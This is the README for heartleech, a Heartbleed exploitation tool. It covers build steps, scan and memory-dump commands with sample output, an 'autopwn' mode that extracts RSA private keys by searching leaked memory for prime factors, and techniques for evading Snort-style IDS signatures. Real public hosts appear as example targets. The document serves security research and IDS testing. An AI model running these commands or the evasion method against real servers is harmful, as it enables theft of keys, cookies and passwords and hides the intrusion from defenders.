heartleech

This is a typical "heartbleed" tool. It can scan for systems vulnerable to the bug, and then be used to download them. Some important features:

conclusive/inconclusive verdicts as to whether the target is vulnerable
bulk/fast download of heartbleed data into a large files for offline processing using many threads
automatic retrieval of private keys with no additional steps
some limited IDS evasion
STARTTLS support
IPv6 support
Tor/Socks5n proxy support
extensive connection diagnostic information

#Building#

This is tricky. The Makefile is likely to fail.

This project uses the ssl3_write_bytes() function in order to send heartbeats encrypted after the SSL handshake is complete. This function is sometimes exported in OpenSSL libraries, and sometimes not.

If that's the trouble, then you have to download and build OpenSSL, then link this tool with their object files. I did this on Kali Linux (a Debian system) using the following steps:

git clone git://git.openssl.org/openssl.git
cd openssl
./config
make depend
make

gcc ../heartleech/heartleech.c libssl.a libcrypto.a -ldl -lpthread -o heartleech -I./include

On Cygwin (and maybe other platforms), the order in which you link the libraries apparently matters, so do "libcrypto.a" first, then "libssl.a", then "-ldl". Conversely, on Kali Linux, libssl.a must come before libcrypto.a.

On Windows with VisualStudio, this is the guide I use for building:

http://developer.covenanteyes.com/building-openssl-for-visual-studio/

The VisualStudio 2010 project looks for a 32-bit version in "..\openssl32" and a 64-bit version in "..\openssl64" (in other words, the "openssl" directory is at the same level as the "heartleech" directory). Apparently, configuring OpenSSL for one 32/64 bits leaves artifacts behind that disrupt the other build, so you need two separate directories to build the two different sizes.

Mac OS X includes OpenSSL/0.9.8, which doesn't support heartbeats (Jon Callas has an excellent post as to why). This causes problems: you have to make sure to get the right include headers. Also, there is a special step for building. The full sequence of commands is:

git clone git://git.openssl.org/openssl.git
cd openssl
./Configure darwin64-x86_64-cc
make depend
make

gcc ../heartleech/heartleech.c libssl.a libcrypto.a -ldl -lpthread -o heartleech -I./include

This makes the 64-bit version. If you want 32-bit, PowerPC, and/or univeral executables, there are some extra steps to do. It starts with having a separate directory for each version of the OpenSSL library that you need.

#Running#

Here is an example for scanning:

./heartleech --scan www.google.com www.cloudflarechallenge.com www.robertgraham.com oa8gs7diyfuahl.com

--- heartleech/1.0.0f ---
https://github.com/robertdavidgraham/heartleech
www.google.com:443: SAFE
www.cloudflarechallenge.com:443: VULNERABLE
www.robertgraham.com:443: INCONCLUSIVE: TCP connect failed
oa8gs7diyfuahl.com:443: INCONCLUSIVE: DNS failed

A big feature of this program is that it is conclusive as to whether a target is "SAFE" or "VULNERABLE". Otherwise, the target is marked "INCONCLUSIVE". Instead of a single target, you can use --scanlist <filename> to read from a file. Instead of the default port, you can scan different ports, such as www.google.com:25. You can specify a range of IPv4 addresses by using a dash, such as 10.0.0.0-10.0.0.255. Scanning a lot of addresses can be slow, so you can use lots of threads, such as --threads 100.

Here is an example of dumping bleed information:

./heartleech www.cloudflarechallenge.com --dump challenge.bin --threads 10

--- heartleech/1.0.0g ---
https://github.com/robertdavidgraham/heartleech
7091376634 bytes downloaded (45.438-mbps)

In this example, the script keeps reconnecting to the server, dumping more and more information, sending up to a million requests. This will download many gigabytes of information. The data is dumped to a file for later offline analysis. Such analysis will include greping for cookies and passwords, or searching for private certificates.

To search an offline file for a private-key, use the following example:

./heartleech --cert cloudflare.pem --read challenge.bin

where challenge.bin is the file you saved in the previous step, and the cloudflare.pem is the certificate, which you can grab from your browser, using the OpenSSL command-line tool, saving from Wireshark, or through some other means.

To automate the last two steps, do the following:

./heartleech www.cloudflarechallenge.com --autopwn --threads 20

This will automatically fetch the certificate from the website, then continue downloading information until it finds a matching private key within the heartbleed information. This example launches 20 threads, which on my home network downloads at 60-mbps.

This tool supports IPv6. It may actually be using IPv6 without you knowing, if the first response from a DNS query of a domain name is an IPv6 address, then it will use IPv6 to connection. If you want to force the tool to use one or the other, use "--ipv4" or "--ipv6" on the command-line.

This tool support Tor Socks5n proxying. That means it sends the target domain name through Socks to the Tor servers, which will then resolve the DNS name for us. To enabled this use the --proxy <hostname:port> option. If the port is not specified, it defaults to 9150.

This tool supports STARTTLS. It automatically chooses this when a port is selected that requires STARTTL for SSL, such as port 25 for SMTP.

This tool supports extensive disagnostics of the connection with the -d option. Here is an example and the output:

./heartleech --scan smtp.gmail.com:25 --proxy 10.20.30.156:9150 -d

--- heartleech/1.0.0e ---
from https://github.com/robertdavidgraham/heartleech

[ ] resolving "10.20.30.156"
[+]  10.20.30.156
[+]  10.20.30.156
[ ] 10.20.30.156: connecting...
[+] 10.20.30.156: connected
[+] proxy connected through: 0.0.0.0:0
[+] 220 mx.google.com ESMTP ct2sm59082475wjb.33 - gsmtp
[+] 250-mx.google.com at your service, [93.174.95.82]
[+] 250-SIZE 35882577
[+] 250-8BITMIME
[+] 250-STARTTLS
[+] 250-ENHANCEDSTATUSCODES
[+] 250 CHUNKING
[+] 220 2.0.0 Ready to start TLS
[+] SMTP STARTTLS engaged
[ ] SSL handshake started...
[+] SSL handshake complete [ECDHE-RSA-AES128-GCM-SHA256]
[+] servername = smtp.gmail.com
[+] RSA public-key length = 2048-bits
[-] target doesn't support heartbeats
smtp.gmail.com:25: SAFE

#Design#

This tool is designed first and foremost to just grab the heartbleed info.

Secondarily, it can be used in "auto-pwn" mode to grab the private-key. It does this by using the trick search for primes. As you know, the RSA algorithm works by generating two random primes p and q, then multiplying them together. The public-key is the product of the two primes, p * q, and the private-key is the original primes. The security rests on the fact that nobody knows how to factor a large number, getting those two primes from the public key.

There are four things we can use to find the private key. The first is to search for the well know file contents that looks like this:

This text form is just the BASE64 encoding of the binary form in what's known as the "ASN.1 DER" format:

0000000 30 82 02 5d 02 01 00 02 81 81 00 c4 37 5a e2 8f
0000010 0e 56 37 d1 e4 cc 07 0c 06 66 08 71 9f 68 8f dc
0000020 df ee 28 5b ac 5c b7 58 29 40 94 47 e4 65 24 63
. . . .

The third form is internal data structures, generated by parsing the ASN.1 DER external format:

struct rsa_st {
    BIGNUM *n;  // p * q, the public key
    BIGNUM *e;  // a small number, like 65537
    BIGNUM *d;  // (p-1) * (q-1), the real private key
    BIGNUM *p;  // randomly generated prime
    BIGNUM *q;  // randomly generated prime
    BIGNUM *dmp1;
    BIGNUM *dmq1;
    BIGNUM *iqmp;
};

The fourth form is intermediate products produced in memory while working with the private key. Others have looking into that and have concluded that OpenSSL zeroes them out before something else has a change to grab them.

People have been unsuccessful at finding either the BASE64 private-key or the ASN.1 DER private key, but very successful at finding p or q in BIGNUM format.

The ASN.1 DER format will have the key in "big-endian" format, from high-byte to low-byte. The BIGNUM format will have the bytes in reverse order on a "little-endian" machines like x86 and most ARM Linux.

To look for a prime factor, I just go through the heartbleed buffers one byte at a time with the following code, first constructing a BIGNUM variable from the current byte (followed by the next 128 bytes), then dividing into the public-key, then testing if the remainder is zero.

    p.d = (BN_ULONG*)(buf+i);
    p.dmax = n->top/2;
    p.top = p.dmax;

    BN_div(&q, &remainder, n, &p, ctx);
    if (BN_is_zero(&remainder))
        printf("FOUND PRIVATE KEY");

The code automatically grabs the public-key, n, when it connects to the server. When it finds one prime p in the buffer, the division check then calculates what the other prime q must be. I then use these two numbers to recreate the origin private key file. Note that the private-key my code generates may not quite match the original one on the server. For example, I may reverse the order of p and q. Also, there are some optional fields. Regardless of whehther my found private-key matches the original one, it can be used in place of the original one.

#Discussion#

This should be a useful tool on its own, but I wrote it primarily because the pattern-matching rules for Snort are inadequate. IDS vendors won't fix their stuff until I can prove they are inadequate.

The problem with the signatures is that they trigger on the heartbeat pattern as the start of the TCP payload, looking for a pattern like this:

18 03 02 00 03 01 40 00

However, TCP is a not a "packet" protocol but a "streaming" protocol. While this bytes may be typically at the start of the TCP payload, they don't have to be.

Therefore, I created this tool such that these bytes don't appear at the start of a packet's payload. Instead, they appear in the middle.

The IDSs look for these patterns both coming from the attacker and also coming from the server. Therefore, I have to manipulate both sides of the connection in order to cause the evasion.

I do this on the client side by sending an HTTP GET request back-to-back with a heartbeat request. This was the most difficult part of the program. Normally, with an SSL API, you let the underlying library take care of network/sockets communications for you. However, that creates two separate TCP packets on the wire when I want just one packet with two SSL records. Therefore, I had to use my own sockets communications, then use the OpenSSL "memory BIO" feature to encrypt/decrypt data separately. There's not a lot of documentation on how to do this, so it took a while to get it to work.

On the server side, the replies naturally come back together. I haven't tested anywhere but the CloudFlare challenge server, but I think this should almost always be the case. My tool looks for |18 03| as the packet header and warns you when this is the case.

#IDS References#

Here are some IDS links to the signatures in question. The key features of all these rules is that they check for the pattern |18 03| at the start of a TCP payload, which heartleech doens't generate.

Sourcefire:
http://vrt-blog.snort.org/2014/04/performing-heartbleed-attack-after-tls.html

Fox-it:
http://blog.fox-it.com/2014/04/08/openssl-heartbleed-bug-live-blog/

EmergingThreat
https://lists.emergingthreats.net/pipermail/emerging-sigs/2014-April/024056.html

Suricata:
http://blog.inliniac.net/2014/04/08/detecting-openssl-heartbleed-with-suricata/

The Bro intrusion-detection system doesn't use Snort rules, but instead bases its detection on parsers. Hence, it detect heartleech:

Bro:
http://blog.bro.org/2014/04/detecting-heartbleed-bug-using-bro.html

#Other scripts#

Other people have different programs that do similar things to this:

  https://raw.githubusercontent.com/HackerFantastic/Public/master/exploits/heartbleed.c

#CREDITS

I go the idea for searching for primes in a tweet from Einar Otto Stangvik (@einaros). He probably got that idea from others, for example, Jeremi Gosney (@jmgosney) also successfully used the idea before I started coding it. Here are some links:

https://gist.github.com/epixoip/10570627

robertdavidgraham/heartleech

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